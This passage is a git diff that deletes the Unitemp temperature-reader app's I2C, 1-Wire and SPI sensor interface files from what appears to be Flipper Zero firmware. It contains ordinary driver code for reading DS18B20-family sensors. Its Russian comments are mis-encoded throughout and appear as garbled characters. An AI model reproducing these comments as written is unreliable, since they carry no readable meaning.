- void* sensorInstance; -} I2CSensor; - -/** - * @brief Заблокировать шину I2C - * - * @param handle Указатель на шину - */ -void unitemp_i2c_acquire(FuriHalI2cBusHandle* handle); - -/** - * @brief Проверить наличие датчика на шине - * - * @param i2c_sensor Указатель на датчик - * @return ИÑтина еÑли уÑтройÑтво отозвалоÑÑŒ - */ -bool unitemp_i2c_isDeviceReady(I2CSensor* i2c_sensor); - -/** - * @brief Выделение памÑти Ð´Ð»Ñ Ð´Ð°Ñ‚Ñ‡Ð¸ÐºÐ° на шине I2C - * @param sensor Указатель на датчик - * @param st Тип датчика - * @return ИÑтина еÑли вÑÑ‘ ок - */ -bool unitemp_I2C_sensor_alloc(Sensor* sensor, char* args); - -/** - * @brief Ð’Ñ‹Ñвобождение памÑти инÑтанÑа датчика - * @param sensor Указатель на датчик - */ -bool unitemp_I2C_sensor_free(Sensor* sensor); - -/** - * @brief Обновить значение Ñ Ð´Ð°Ñ‚Ñ‡ÐºÐ° - * @param sensor Указатель на датчик - * @return Ð¡Ñ‚Ð°Ñ‚ÑƒÑ Ð¾Ð±Ð½Ð¾Ð²Ð»ÐµÐ½Ð¸Ñ - */ -UnitempStatus unitemp_I2C_sensor_update(Sensor* sensor); -/** - * @brief Прочитать значение региÑтра reg - * @param i2c_sensor Указатель на инÑÑ‚Ð°Ð½Ñ Ð´Ð°Ñ‚Ñ‡Ð¸ÐºÐ° - * @param reg Ðомер региÑтра - * @return Значение региÑтра - */ -uint8_t unitemp_i2c_readReg(I2CSensor* i2c_sensor, uint8_t reg); - -/** - * @brief Прочитать маÑÑÑив значений из памÑти - * @param i2c_sensor Указатель на инÑÑ‚Ð°Ð½Ñ Ð´Ð°Ñ‚Ñ‡Ð¸ÐºÐ° - * @param startReg ÐÐ´Ñ€ÐµÑ Ñ€ÐµÐ³Ð¸Ñтра Ñ ÐºÐ¾Ñ‚Ð¾Ñ€Ð¾Ð³Ð¾ начнётÑÑ Ñ‡Ñ‚ÐµÐ½Ð¸Ðµ - * @param len КоличеÑтво байт Ð´Ð»Ñ ÑÑ‡Ð¸Ñ‚Ñ‹Ð²Ð°Ð½Ð¸Ñ Ð¸Ð· региÑтра - * @param data Указатель на маÑÑив куда будут Ñчитаны данные - * @return ИÑтина еÑли уÑтройÑтво вернуло данные - */ -bool unitemp_i2c_readRegArray(I2CSensor* i2c_sensor, uint8_t startReg, uint8_t len, uint8_t* data); - -/** - * @brief ЗапиÑать значение в региÑÑ‚Ñ€ - * @param i2c_sensor Указатель на инÑÑ‚Ð°Ð½Ñ Ð´Ð°Ñ‚Ñ‡Ð¸ÐºÐ° - * @param reg Ðомер региÑтра - * @param value Значение Ð´Ð»Ñ Ð·Ð°Ð¿Ð¸Ñи - * @return ИÑтина еÑли значение запиÑано - */ -bool unitemp_i2c_writeReg(I2CSensor* i2c_sensor, uint8_t reg, uint8_t value); - -/** - * @brief ЗапиÑать маÑÑÑив значений в памÑÑ‚ÑŒ - * @param i2c_sensor Указатель на инÑÑ‚Ð°Ð½Ñ Ð´Ð°Ñ‚Ñ‡Ð¸ÐºÐ° - * @param startReg ÐÐ´Ñ€ÐµÑ Ñ€ÐµÐ³Ð¸Ñтра Ñ ÐºÐ¾Ñ‚Ð¾Ñ€Ð¾Ð³Ð¾ начнётÑÑ Ð·Ð°Ð¿Ð¸ÑÑŒ - * @param len КоличеÑтво байт Ð´Ð»Ñ ÑÑ‡Ð¸Ñ‚Ñ‹Ð²Ð°Ð½Ð¸Ñ Ð¸Ð· региÑтра - * @param data Указатель на маÑÑив откуда будут запиÑаны данные - * @return ИÑтина еÑли уÑтройÑтво вернуло данные - */ -bool unitemp_i2c_writeRegArray(I2CSensor* i2c_sensor, uint8_t startReg, uint8_t len, uint8_t* data); - -/** - * @brief Прочитать маÑÑив данных по шине I2C - * @param i2c_sensor Указатель на инÑÑ‚Ð°Ð½Ñ Ð´Ð°Ñ‚Ñ‡Ð¸ÐºÐ° - * @param startReg ÐÐ´Ñ€ÐµÑ Ñ€ÐµÐ³Ð¸Ñтра Ñ ÐºÐ¾Ñ‚Ð¾Ñ€Ð¾Ð³Ð¾ начнётÑÑ Ñ‡Ñ‚ÐµÐ½Ð¸Ðµ - * @param data Указатель на маÑÑив куда будут Ñчитаны данные - * @return ИÑтина еÑли уÑтройÑтво вернуло данные - */ -bool unitemp_i2c_readArray(I2CSensor* i2c_sensor, uint8_t len, uint8_t* data); - -/** - * @brief ЗапиÑать маÑÑÑив данных по шине I2C - * @param i2c_sensor Указатель на инÑÑ‚Ð°Ð½Ñ Ð´Ð°Ñ‚Ñ‡Ð¸ÐºÐ° - * @param len КоличеÑтво байт Ð´Ð»Ñ ÑÑ‡Ð¸Ñ‚Ñ‹Ð²Ð°Ð½Ð¸Ñ Ð¸Ð· региÑтра - * @param data Указатель на маÑÑив откуда будут запиÑаны данные - * @return ИÑтина еÑли уÑтройÑтво вернуло данные - */ -bool unitemp_i2c_writeArray(I2CSensor* i2c_sensor, uint8_t len, uint8_t* data); -#endif \ No newline at end of file diff --git a/applications/external/unitemp/interfaces/OneWireSensor.c b/applications/external/unitemp/interfaces/OneWireSensor.c deleted file mode 100644 index 377eb0d08..000000000 --- a/applications/external/unitemp/interfaces/OneWireSensor.c +++ /dev/null @@ -1,367 +0,0 @@ -/* - Unitemp - Universal temperature reader - Copyright (C) 2022-2023 Victor Nikitchuk (https://github.com/quen0n) - - This program is free software: you can redistribute it and/or modify - it under the terms of the GNU General Public License as published by - the Free Software Foundation, either version 3 of the License, or - (at your option) any later version. - - This program is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU General Public License for more details. - - You should have received a copy of the GNU General Public License - along with this program. If not, see . -*/ -//ИÑпользован код Ð”Ð¼Ð¸Ñ‚Ñ€Ð¸Ñ ÐŸÐ¾Ð³Ñ€ÐµÐ±Ð½Ñка: https://aterlux.ru/article/1wire - -#include "OneWireSensor.h" -#include -#include - -const SensorType Dallas = { - .typename = "Dallas", - .altname = "Dallas (DS18x2x)", - .interface = &ONE_WIRE, - .datatype = UT_DATA_TYPE_TEMP, - .pollingInterval = 1000, - .allocator = unitemp_onewire_sensor_alloc, - .mem_releaser = unitemp_onewire_sensor_free, - .initializer = unitemp_onewire_sensor_init, - .deinitializer = unitemp_onewire_sensor_deinit, - .updater = unitemp_onewire_sensor_update}; - -// Переменные Ð´Ð»Ñ Ñ…Ñ€Ð°Ð½ÐµÐ½Ð¸Ñ Ð¿Ñ€Ð¾Ð¼ÐµÐ¶ÑƒÑ‚Ð¾Ñ‡Ð½Ð¾Ð³Ð¾ результата ÑÐºÐ°Ð½Ð¸Ñ€Ð¾Ð²Ð°Ð½Ð¸Ñ ÑˆÐ¸Ð½Ñ‹ -// найденный воÑьмибайтовый Ð°Ð´Ñ€ÐµÑ -static uint8_t onewire_enum[8] = {0}; - -OneWireBus* uintemp_onewire_bus_alloc(const GPIO* gpio) { - if(gpio == NULL) { - return NULL; - } - - //Проверка на наличие шины на Ñтом порте - for(uint8_t i = 0; i < unitemp_sensors_getActiveCount(); i++) { - if(unitemp_sensor_getActive(i)->type->interface == &ONE_WIRE && - ((OneWireSensor*)unitemp_sensor_getActive(i)->instance)->bus->gpio->num == gpio->num) { - //ЕÑли шина на Ñтом порту уже еÑÑ‚ÑŒ, то возврат ÑƒÐºÐ°Ð·Ð°Ñ‚ÐµÐ»Ñ Ð½Ð° шину - return ((OneWireSensor*)unitemp_sensor_getActive(i)->instance)->bus; - } - } - - OneWireBus* bus = malloc(sizeof(OneWireBus)); - - bus->device_count = 0; - bus->gpio = gpio; - bus->powerMode = PWR_PASSIVE; - - UNITEMP_DEBUG("one wire bus (port %d) allocated", gpio->num); - - return bus; -} - -bool unitemp_onewire_bus_init(OneWireBus* bus) { - if(bus == NULL) return false; - bus->device_count++; - //Выход еÑли шина уже была инициализирована - if(bus->device_count > 1) return true; - - bus->host = onewire_host_alloc(bus->gpio->pin); - - unitemp_gpio_lock(bus->gpio, &ONE_WIRE); - //Ð’Ñ‹Ñокий уровень по умолчанию - furi_hal_gpio_write(bus->gpio->pin, true); - //Режим работы - OpenDrain, подтÑжка включаетÑÑ Ð½Ð° вÑÑкий Ñлучай - furi_hal_gpio_init( - bus->gpio->pin, //Порт FZ - GpioModeOutputOpenDrain, //Режим работы - открытый Ñток - GpioPullUp, //ÐŸÑ€Ð¸Ð½ÑƒÐ´Ð¸Ñ‚ÐµÐ»ÑŒÐ½Ð°Ñ Ð¿Ð¾Ð´Ñ‚Ñжка линии данных к питанию - GpioSpeedVeryHigh); //СкороÑÑ‚ÑŒ работы - макÑÐ¸Ð¼Ð°Ð»ÑŒÐ½Ð°Ñ - - return true; -} - -bool unitemp_onewire_bus_deinit(OneWireBus* bus) { - UNITEMP_DEBUG("devices on wire %d: %d", bus->gpio->num, bus->device_count); - bus->device_count--; - if(bus->device_count <= 0) { - bus->device_count = 0; - unitemp_gpio_unlock(bus->gpio); - //Режим работы - аналог, подтÑжка выключена - furi_hal_gpio_init( - bus->gpio->pin, //Порт FZ - GpioModeAnalog, //Режим работы - аналог - GpioPullNo, //ПодтÑжка выключена - GpioSpeedLow); //СкороÑÑ‚ÑŒ работы - Ð¼Ð¸Ð½Ð¸Ð¼Ð°Ð»ÑŒÐ½Ð°Ñ - //Ðизкий уровень по умолчанию - furi_hal_gpio_write(bus->gpio->pin, false); - return true; - } else { - return false; - } -} -inline bool unitemp_onewire_bus_start(OneWireBus* bus) { - return onewire_host_reset(bus->host); -} - -inline void unitemp_onewire_bus_send_bit(OneWireBus* bus, bool state) { - onewire_host_write_bit(bus->host, state); -} - -inline void unitemp_onewire_bus_send_byte(OneWireBus* bus, uint8_t data) { - onewire_host_write(bus->host, data); -} - -void unitemp_onewire_bus_send_byteArray(OneWireBus* bus, uint8_t* data, uint8_t len) { - for(uint8_t i = 0; i < len; i++) { - onewire_host_write(bus->host, data[i]); - } -} - -inline bool unitemp_onewire_bus_read_bit(OneWireBus* bus) { - return onewire_host_read_bit(bus->host); -} - -inline uint8_t unitemp_onewire_bus_read_byte(OneWireBus* bus) { - return onewire_host_read(bus->host); -} - -void unitemp_onewire_bus_read_byteArray(OneWireBus* bus, uint8_t* data, uint8_t len) { - onewire_host_read_bytes(bus->host, data, len); -} - -static uint8_t onewire_CRC_update(uint8_t crc, uint8_t b) { - for(uint8_t p = 8; p; p--) { - crc = ((crc ^ b) & 1) ? (crc >> 1) ^ 0b10001100 : (crc >> 1); - b >>= 1; - } - return crc; -} - -bool unitemp_onewire_CRC_check(uint8_t* data, uint8_t len) { - uint8_t crc = 0; - for(uint8_t i = 0; i < len; i++) { - crc = onewire_CRC_update(crc, data[i]); - } - return !crc; -} - -char* unitemp_onewire_sensor_getModel(Sensor* sensor) { - OneWireSensor* ow_sensor = sensor->instance; - switch(ow_sensor->deviceID[0]) { - case FC_DS18B20: - return "DS18B20"; - case FC_DS18S20: - return "DS18S20"; - case FC_DS1822: - return "DS1822"; - default: - return "unknown"; - } -} - -bool unitemp_onewire_sensor_readID(OneWireSensor* instance) { - if(!unitemp_onewire_bus_start(instance->bus)) return false; - unitemp_onewire_bus_send_byte(instance->bus, 0x33); // Чтение ПЗУ - unitemp_onewire_bus_read_byteArray(instance->bus, instance->deviceID, 8); - if(!unitemp_onewire_CRC_check(instance->deviceID, 8)) { - memset(instance->deviceID, 0, 8); - return false; - } - instance->familyCode = instance->deviceID[0]; - return true; -} - -void unitemp_onewire_bus_enum_init(OneWireBus* bus) { - onewire_host_reset_search(bus->host); -} - -uint8_t* unitemp_onewire_bus_enum_next(OneWireBus* bus) { - if(onewire_host_search(bus->host, onewire_enum, OneWireHostSearchModeNormal)) { - return onewire_enum; - } else { - return NULL; - } -} - -void unitemp_onewire_bus_select_sensor(OneWireSensor* instance) { - unitemp_onewire_bus_send_byte(instance->bus, 0x55); - unitemp_onewire_bus_send_byteArray(instance->bus, instance->deviceID, 8); -} - -bool unitemp_onewire_sensor_alloc(Sensor* sensor, char* args) { - OneWireSensor* instance = malloc(sizeof(OneWireSensor)); - if(instance == NULL) { - FURI_LOG_E(APP_NAME, "Sensor %s instance allocation error", sensor->name); - return false; - } - sensor->instance = instance; - //ОчиÑтка адреÑа - memset(instance->deviceID, 0, 8); - - int gpio, addr_0, addr_1, addr_2, addr_3, addr_4, addr_5, addr_6, addr_7; - sscanf( - args, - "%d %2X%2X%2X%2X%2X%2X%2X%2X", - &gpio, - &addr_0, - &addr_1, - &addr_2, - &addr_3, - &addr_4, - &addr_5, - &addr_6, - &addr_7); - instance->deviceID[0] = addr_0; - instance->deviceID[1] = addr_1; - instance->deviceID[2] = addr_2; - instance->deviceID[3] = addr_3; - instance->deviceID[4] = addr_4; - instance->deviceID[5] = addr_5; - instance->deviceID[6] = addr_6; - instance->deviceID[7] = addr_7; - - instance->familyCode = instance->deviceID[0]; - - instance->bus = uintemp_onewire_bus_alloc(unitemp_gpio_getFromInt(gpio)); - - if(instance != NULL) { - return true; - } - FURI_LOG_E(APP_NAME, "Sensor %s bus allocation error", sensor->name); - free(instance); - return false; -} - -bool unitemp_onewire_sensor_free(Sensor* sensor) { - if(((OneWireSensor*)sensor->instance)->bus != NULL) { - if(((OneWireSensor*)sensor->instance)->bus->device_count == 0) { - free(((OneWireSensor*)sensor->instance)->bus); - } - } - - free(sensor->instance); - - return true; -} - -bool unitemp_onewire_sensor_init(Sensor* sensor) { - OneWireSensor* instance = sensor->instance; - if(instance == NULL || instance->bus == NULL) { - FURI_LOG_E(APP_NAME, "Sensor pointer is null!"); - return false; - } - - unitemp_onewire_bus_init(instance->bus); - - if(instance->familyCode == FC_DS18B20 || instance->familyCode == FC_DS1822) { - //УÑтановка разрÑдноÑти в 10 бит - if(!unitemp_onewire_bus_start(instance->bus)) return false; - unitemp_onewire_bus_select_sensor(instance); - unitemp_onewire_bus_send_byte(instance->bus, 0x4E); // ЗапиÑÑŒ в памÑÑ‚ÑŒ - uint8_t buff[3]; - //Ð—Ð½Ð°Ñ‡ÐµÐ½Ð¸Ñ Ñ‚Ñ€ÐµÐ²Ð¾Ð³Ð¸ - buff[0] = 0x4B; //Значение нижнего предела температуры - buff[1] = 0x46; //Значение верхнего предела температуры - //ÐšÐ¾Ð½Ñ„Ð¸Ð³ÑƒÑ€Ð°Ñ†Ð¸Ñ - buff[2] = 0b01111111; //12 бит разрÑдноÑÑ‚ÑŒ Ð¿Ñ€ÐµÐ¾Ð±Ñ€Ð°Ð·Ð¾Ð²Ð°Ð½Ð¸Ñ - unitemp_onewire_bus_send_byteArray(instance->bus, buff, 3); - - //Сохранение значений в EEPROM Ð´Ð»Ñ Ð°Ð²Ñ‚Ð¾Ð¼Ð°Ñ‚Ð¸Ñ‡ÐµÑкого воÑÑÑ‚Ð°Ð½Ð¾Ð²Ð»ÐµÐ½Ð¸Ñ Ð¿Ð¾Ñле Ñбоев Ð¿Ð¸Ñ‚Ð°Ð½Ð¸Ñ - if(!unitemp_onewire_bus_start(instance->bus)) return false; - unitemp_onewire_bus_select_sensor(instance); - unitemp_onewire_bus_send_byte(instance->bus, 0x48); // ЗапиÑÑŒ в EEPROM - } - - return true; -} - -bool unitemp_onewire_sensor_deinit(Sensor* sensor) { - OneWireSensor* instance = sensor->instance; - if(instance == NULL || instance->bus == NULL) return false; - unitemp_onewire_bus_deinit(instance->bus); - - return true; -} - -UnitempStatus unitemp_onewire_sensor_update(Sensor* sensor) { - //СнÑтие оÑобого ÑтатуÑа Ñ Ð´Ð°Ñ‚Ñ‡Ð¸ÐºÐ° при паÑÑивном режиме Ð¿Ð¸Ñ‚Ð°Ð½Ð¸Ñ - if(sensor->status == UT_SENSORSTATUS_EARLYPOOL) { - return UT_SENSORSTATUS_POLLING; - } - - OneWireSensor* instance = sensor->instance; - uint8_t buff[9] = {0}; - if(sensor->status != UT_SENSORSTATUS_POLLING) { - //ЕÑли датчик в прошлый раз не отозвалÑÑ, проверка его Ð½Ð°Ð»Ð¸Ñ‡Ð¸Ñ Ð½Ð° шине - if(sensor->status == UT_SENSORSTATUS_TIMEOUT || sensor->status == UT_SENSORSTATUS_BADCRC) { - if(!unitemp_onewire_bus_start(instance->bus)) return UT_SENSORSTATUS_TIMEOUT; - unitemp_onewire_bus_select_sensor(instance); - unitemp_onewire_bus_send_byte(instance->bus, 0xBE); // Read Scratch-pad - unitemp_onewire_bus_read_byteArray(instance->bus, buff, 9); - if(!unitemp_onewire_CRC_check(buff, 9)) { - UNITEMP_DEBUG("Sensor %s is not found", sensor->name); - return UT_SENSORSTATUS_TIMEOUT; - } - } - - if(!unitemp_onewire_bus_start(instance->bus)) return UT_SENSORSTATUS_TIMEOUT; - //ЗапуÑк Ð¿Ñ€ÐµÐ¾Ð±Ñ€Ð°Ð·Ð¾Ð²Ð°Ð½Ð¸Ñ Ð½Ð° вÑех датчиках в режиме паÑÑивного Ð¿Ð¸Ñ‚Ð°Ð½Ð¸Ñ - if(instance->bus->powerMode == PWR_PASSIVE) { - unitemp_onewire_bus_send_byte(instance->bus, 0xCC); // skip addr - //УÑтановка на вÑех датчиках Ñтой шины оÑобого ÑтатуÑа, чтобы не запуÑкать преобразование ещё раз - for(uint8_t i = 0; i < unitemp_sensors_getActiveCount(); i++) { - if(unitemp_sensor_getActive(i)->type->interface == &ONE_WIRE && - ((OneWireSensor*)unitemp_sensor_getActive(i)->instance)->bus == instance->bus) { - unitemp_sensor_getActive(i)->status = UT_SENSORSTATUS_EARLYPOOL; - } - } - - } else { - unitemp_onewire_bus_select_sensor(instance); - } - - unitemp_onewire_bus_send_byte(instance->bus, 0x44); // convert t - if(instance->bus->powerMode == PWR_PASSIVE) { - furi_hal_gpio_write(instance->bus->gpio->pin, true); - furi_hal_gpio_init( - instance->bus->gpio->pin, GpioModeOutputPushPull, GpioPullUp, GpioSpeedVeryHigh); - } - return UT_SENSORSTATUS_POLLING; - } else { - if(instance->bus->powerMode == PWR_PASSIVE) { - furi_hal_gpio_write(instance->bus->gpio->pin, true); - furi_hal_gpio_init( - instance->bus->gpio->pin, GpioModeOutputOpenDrain, GpioPullUp, GpioSpeedVeryHigh); - } - if(!unitemp_onewire_bus_start(instance->bus)) return UT_SENSORSTATUS_TIMEOUT; - unitemp_onewire_bus_select_sensor(instance); - unitemp_onewire_bus_send_byte(instance->bus, 0xBE); // Read Scratch-pad - unitemp_onewire_bus_read_byteArray(instance->bus, buff, 9); - if(!unitemp_onewire_CRC_check(buff, 9)) { - UNITEMP_DEBUG("Failed CRC check: %s", sensor->name); - return UT_SENSORSTATUS_BADCRC; - } - int16_t raw = buff[0] | ((int16_t)buff[1] << 8); - if(instance->familyCode == FC_DS18S20) { - //ПеÑевдо-12-бит. Отключено из-за нееÑтеÑтвенноÑти и неÑтабильноÑти показаний по Ñравнению Ñ DS18B20 - //sensor->temp = ((float)raw / 2.0f) - 0.25f + (16.0f - buff[6]) / 16.0f; - //ЧеÑтные 9 бит - sensor->temp = ((float)raw / 2.0f); - } else { - sensor->temp = (float)raw / 16.0f; - } - } - - return UT_SENSORSTATUS_OK; -} - -bool unitemp_onewire_id_compare(uint8_t* id1, uint8_t* id2) { - if(id1 == NULL || id2 == NULL) return false; - for(uint8_t i = 0; i < 8; i++) { - if(id1[i] != id2[i]) return false; - } - return true; -} \ No newline at end of file diff --git a/applications/external/unitemp/interfaces/OneWireSensor.h b/applications/external/unitemp/interfaces/OneWireSensor.h deleted file mode 100644 index cb031d161..000000000 --- a/applications/external/unitemp/interfaces/OneWireSensor.h +++ /dev/null @@ -1,226 +0,0 @@ -/* - Unitemp - Universal temperature reader - Copyright (C) 2022-2023 Victor Nikitchuk (https://github.com/quen0n) - - This program is free software: you can redistribute it and/or modify - it under the terms of the GNU General Public License as published by - the Free Software Foundation, either version 3 of the License, or - (at your option) any later version. - - This program is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU General Public License for more details. - - You should have received a copy of the GNU General Public License - along with this program. If not, see . -*/ -#ifndef UNITEMP_OneWire -#define UNITEMP_OneWire - -#include "../unitemp.h" -#include - -//Коды ÑемейÑтва уÑтройÑтв -typedef enum DallasFamilyCode { - FC_DS18S20 = 0x10, - FC_DS1822 = 0x22, - FC_DS18B20 = 0x28, -} DallasFamilyCode; - -//Режим Ð¿Ð¸Ñ‚Ð°Ð½Ð¸Ñ Ð´Ð°Ñ‚Ñ‡ÐºÐ° -typedef enum PowerMode { - PWR_PASSIVE, //Питание от линии данных - PWR_ACTIVE //Питание от иÑточника Ð¿Ð¸Ñ‚Ð°Ð½Ð¸Ñ -} PowerMode; - -//ИнÑÑ‚Ð°Ð½Ñ ÑˆÐ¸Ð½Ñ‹ one wire -typedef struct { - //Порт Ð¿Ð¾Ð´ÐºÐ»ÑŽÑ‡ÐµÐ½Ð¸Ñ Ð´Ð°Ñ‚Ñ‡Ð¸ÐºÐ° - const GPIO* gpio; - //КоличеÑтво уÑтройÑтв на шине - //ОбновлÑетÑÑ Ð¿Ñ€Ð¸ ручном добавлении датчика на Ñту шину - int8_t device_count; - //Режим Ð¿Ð¸Ñ‚Ð°Ð½Ð¸Ñ Ð´Ð°Ñ‚Ñ‡Ð¸ÐºÐ¾Ð² на шине - PowerMode powerMode; - - OneWireHost* host; -} OneWireBus; - -//ИнÑÑ‚Ð°Ð½Ñ Ð´Ð°Ñ‚Ñ‡Ð¸ÐºÐ° one wire -typedef struct OneWireSensor { - //Указатель на шину OneWire - OneWireBus* bus; - //Текущий Ð°Ð´Ñ€ÐµÑ ÑƒÑтройÑтва на шине OneWire - uint8_t deviceID[8]; - //Код ÑемейÑтва уÑтройÑтв - DallasFamilyCode familyCode; -} OneWireSensor; - -/** - * @brief Выделение памÑти Ð´Ð»Ñ Ð´Ð°Ñ‚Ñ‡Ð¸ÐºÐ° на шине OneWire - * @param sensor Указатель на датчик - * @param args Указатель на маÑÑив аргументов Ñ Ð¿Ð°Ñ€Ð°Ð¼ÐµÑ‚Ñ€Ð°Ð¼Ð¸ датчика - * @return ИÑтина еÑли вÑÑ‘ ок - */ -bool unitemp_onewire_sensor_alloc(Sensor* sensor, char* args); - -/** - * @brief Ð’Ñ‹Ñвобождение памÑти инÑтанÑа датчика - * @param sensor Указатель на датчик - */ -bool unitemp_onewire_sensor_free(Sensor* sensor); - -/** - * @brief Инициализации датчика на шине one wire - * @param sensor Указатель на датчик - * @return ИÑтина еÑли Ð¸Ð½Ð¸Ñ†Ð¸Ð°Ð»Ð¸Ð·Ð°Ñ†Ð¸Ñ ÑƒÐ¿ÑÐ¿ÐµÑˆÐ½Ð°Ñ - */ -bool unitemp_onewire_sensor_init(Sensor* sensor); - -/** - * @brief Ð”ÐµÐ¸Ð½Ð¸Ñ†Ð¸Ð°Ð»Ð¸Ð·Ð°Ñ†Ð¸Ñ Ð´Ð°Ñ‚Ñ‡Ð¸ÐºÐ° - * @param sensor Указатель на датчик - */ -bool unitemp_onewire_sensor_deinit(Sensor* sensor); - -/** - * @brief Обновить значение Ñ Ð´Ð°Ñ‚Ñ‡ÐºÐ° - * @param sensor Указатель на датчик - * @return Ð¡Ñ‚Ð°Ñ‚ÑƒÑ Ð¾Ð±Ð½Ð¾Ð²Ð»ÐµÐ½Ð¸Ñ - */ -UnitempStatus unitemp_onewire_sensor_update(Sensor* sensor); - -/** - * @brief Выделение памÑти Ð´Ð»Ñ ÑˆÐ¸Ð½Ñ‹ one wire и её Ð¸Ð½Ð¸Ñ†Ð¸Ð°Ð»Ð¸Ð·Ð°Ñ†Ð¸Ñ - * @param gpio Порт на котором необходимо Ñоздать шину - * @return При уÑпехе возвращает указатель на шину one wire - */ -OneWireBus* uintemp_onewire_bus_alloc(const GPIO* gpio); - -/** - * @brief Ð˜Ð½Ð¸Ñ†Ð¸Ð°Ð»Ð¸Ð·Ð°Ñ†Ð¸Ñ ÑˆÐ¸Ð½Ñ‹ one wire - * - * @param bus Указатель на шину - * @return ИÑтина еÑли Ð¸Ð½Ð¸Ñ†Ð¸Ð°Ð»Ð¸Ð·Ð°Ñ†Ð¸Ñ ÑƒÑпешна - */ -bool unitemp_onewire_bus_init(OneWireBus* bus); - -/** - * @brief Ð”ÐµÐ¸Ð½Ð¸Ñ†Ð¸Ð°Ð»Ð¸Ð·Ð°Ñ†Ð¸Ñ ÑˆÐ¸Ð½Ñ‹ one wire - * - * @param bus Указатель на шину - * @return ИÑтина еÑли шина была деинициализирована, ложь еÑли на шине оÑталиÑÑŒ уÑтройÑтва - */ -bool unitemp_onewire_bus_deinit(OneWireBus* bus); - -/** - * @brief ЗапуÑк Ð¾Ð±Ñ‰ÐµÐ½Ð¸Ñ Ñ Ð´Ð°Ñ‚Ñ‡Ð¸ÐºÐ°Ð¼Ð¸ на шине one wire - * @param bus Указатель на шину - * @return ИÑтина еÑли Ñ…Ð¾Ñ‚Ñ Ð±Ñ‹ одно уÑтройÑтво отозвалоÑÑŒ - */ -bool unitemp_onewire_bus_start(OneWireBus* bus); - -/** - * @brief Отправить 1 бит данных на шину one wire - * @param bus Указатель на шину - * @param state ЛогичеÑкий уровень - */ -void unitemp_onewire_bus_send_bit(OneWireBus* bus, bool state); - -/** - * @brief ЗапиÑÑŒ байта на шину one wire - * - * @param bus Указатель на шину one wire - * @param data ЗапиÑываемый байт - */ -void unitemp_onewire_bus_send_byte(OneWireBus* bus, uint8_t data); - -/** - * @brief ЗапиÑÑŒ маÑÑива байт на шину one wire - * - * @param bus Указатель на шину one wire - * @param data Указатель на маÑÑив, откуда будут запиÑаны данные - * @param len КоличеÑтво байт - */ -void unitemp_onewire_bus_send_byteArray(OneWireBus* bus, uint8_t* data, uint8_t len); - -/** - * @brief Чтение бита на шине one wire - * - * @param bus Указатель на шину one wire - * @return ЛогичеÑкий уровень бита - */ -bool unitemp_onewire_bus_read_bit(OneWireBus* bus); - -/** - * @brief Чтение байта Ñ ÑˆÐ¸Ð½Ñ‹ One Wire - * - * @param bus Указатель на шину one wire - * @return Байт информации - **/ -uint8_t unitemp_onewire_bus_read_byte(OneWireBus* bus); - -/** - * @brief Чтение маÑÑива байт Ñ ÑˆÐ¸Ð½Ñ‹ One Wire - * - * @param bus Указатель на шину one wire - * @param data Указатель на маÑÑив, куда будут запиÑаны данные - * @param len КоличеÑтво байт - */ -void unitemp_onewire_bus_read_byteArray(OneWireBus* bus, uint8_t* data, uint8_t len); - -/** - * @brief Проверить контрольную Ñумму маÑÑива данных - * - * @param data Указатель на маÑÑив данных - * @param len Длина маÑÑива (Ð²ÐºÐ»ÑŽÑ‡Ð°Ñ Ð±Ð°Ð¹Ñ‚ CRC) - * @return ИÑтина еÑли ÐºÐ¾Ð½Ñ‚Ñ€Ð¾Ð»ÑŒÐ½Ð°Ñ Ñумма ÐºÐ¾Ñ€Ñ€ÐµÐºÑ‚Ð½Ð°Ñ - */ -bool unitemp_onewire_CRC_check(uint8_t* data, uint8_t len); - -/** - * @brief Получить Ð¸Ð¼Ñ Ð¼Ð¾Ð´ÐµÐ»Ð¸ датчика на шине One Wire - * - * @param sensor Указатель на датчик - * @return Указатель на Ñтроку Ñ Ð½Ð°Ð·Ð²Ð°Ð½Ð¸ÐµÐ¼ - */ -char* unitemp_onewire_sensor_getModel(Sensor* sensor); - -/** - * @brief Чтение индификатора единÑтвенного датчика. ID запишетÑÑ Ð² инÑÑ‚Ð°Ð½Ñ Ð´Ð°Ñ‚Ñ‡Ð¸ÐºÐ° - * - * @param instance Указатель на инÑÑ‚Ð°Ð½Ñ Ð´Ð°Ñ‚Ñ‡Ð¸ÐºÐ° - * @return ИÑтина, еÑли код уÑпешно прочитан, ложь еÑли уÑтройÑтво отÑутÑтвует или уÑтройÑтв на шине больше одного - */ -bool unitemp_oneWire_sensor_readID(OneWireSensor* instance); - -/** - * @brief Команда выбора определённого датчка по его ID - * @param instance Указатель на датчик one wire - */ -void unitemp_onewire_bus_select_sensor(OneWireSensor* instance); - -/** - * @brief Ð˜Ð½Ð¸Ñ†Ð¸Ð°Ð»Ð¸Ð·Ð°Ñ†Ð¸Ñ Ð¿Ñ€Ð¾Ñ†ÐµÑÑа поиÑка адреÑов на шине one wire - */ -void unitemp_onewire_bus_enum_init(OneWireBus* bus); - -/** - * @brief ПеречиÑлÑет уÑтройÑтва на шине one wire и получает очередной Ð°Ð´Ñ€ÐµÑ - * @param bus Указатель на шину one wire - * @return Возвращает указатель на буфер, Ñодержащий воÑьмибайтовое значение адреÑа, либо NULL, еÑли поиÑк завешён - */ -uint8_t* unitemp_onewire_bus_enum_next(OneWireBus* bus); - -/** - * @brief Сравнить ID датчиков - * - * @param id1 Указатель на Ð°Ð´Ñ€ÐµÑ Ð¿ÐµÑ€Ð²Ð¾Ð³Ð¾ датчика - * @param id2 Указатель на Ð°Ð´Ñ€ÐµÑ Ð²Ñ‚Ð¾Ñ€Ð¾Ð³Ð¾ датчика - * @return ИÑтина еÑли ID индентичны - */ -bool unitemp_onewire_id_compare(uint8_t* id1, uint8_t* id2); - -extern const SensorType Dallas; -#endif \ No newline at end of file diff --git a/applications/external/unitemp/interfaces/SPISensor.c b/applications/external/unitemp/interfaces/SPISensor.c deleted file mode 100644 index b53aed28d..000000000 --- a/applications/external/unitemp/interfaces/SPISensor.c +++ /dev/null @@ -1,89 +0,0 @@ -/* - Unitemp - Universal temperature reader - Copyright (C) 2022-2023 Victor Nikitchuk (https://github.com/quen0n) - - This program is free software: you can redistribute it and/or modify - it under the terms of the GNU General Public License as published by - the Free Software Foundation, either version 3 of the License, or - (at your option) any later version. - - This program is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty 